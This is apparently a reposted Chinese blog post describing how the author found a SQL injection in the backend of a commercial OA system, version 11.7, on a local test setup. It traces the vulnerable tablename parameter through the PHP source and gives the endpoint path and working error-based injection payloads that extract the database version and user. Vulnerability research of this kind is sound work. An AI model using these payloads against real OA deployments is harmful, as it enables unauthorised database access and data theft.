最近闲的没事干,就将之前挖到的某OA的洞拿出来和大家分享一下。技术有限,大佬喷轻点
本地搭建的环境,OA系统版本为11.7版(眼见尖的师傅们已经猜到是什么OA系统了)
漏洞产生的文件:
MYOA/webroot/general/system/t-erplinker/data_source/searchtable.php
在22行$data = $terp->ShowTableData($tablename);将$tablename传入ShowTableData()函数中,ShowTableData()函数位于t-ERPLink.class.php文件中,我们跟进一下ShowTableData()函数
该函数将传进来的参数传给getColumnNames函数,getColumnNames()位于RepDatabase.php文件中,继续跟进
我们跟进一下参数$s_tablename
好家伙,直接带进sql语句中,然后返回查询数组,最后给了searchtable.php文件中的$data,再将$data传入retJson函数中
废话不多说直接开干!访问
http://127.0.0.1/general/system/t-erplinker/data_source/searchtable.php,将searchtable.php文件中的参数全部加入
可能是没选择数据库,将数据库名写上(直接在数据库中随便找的),后面发现还是没用,可能server_id也要改,就稍微遍历一下。
nice! 抓包,丢sqlmap,正经人谁手注呢
啥? 我不会手注?
查看版本
post:
tablename=aa where 1=1 and gtid_subset(CONCAT(0x10,(SELECT (version())),0x10),0x10)-- &dbname=TD_OA&server_id=3
查看当前用户
post:tablename=aa where 1=1 and gtid_subset(CONCAT(0x10,(SELECT (user())),0x10),0x10)-- &dbname=TD_OA&server_id=3
推荐文章++++
本文始发于微信公众号(黑白之道):对某OA系统后台的一次sql注入漏洞挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论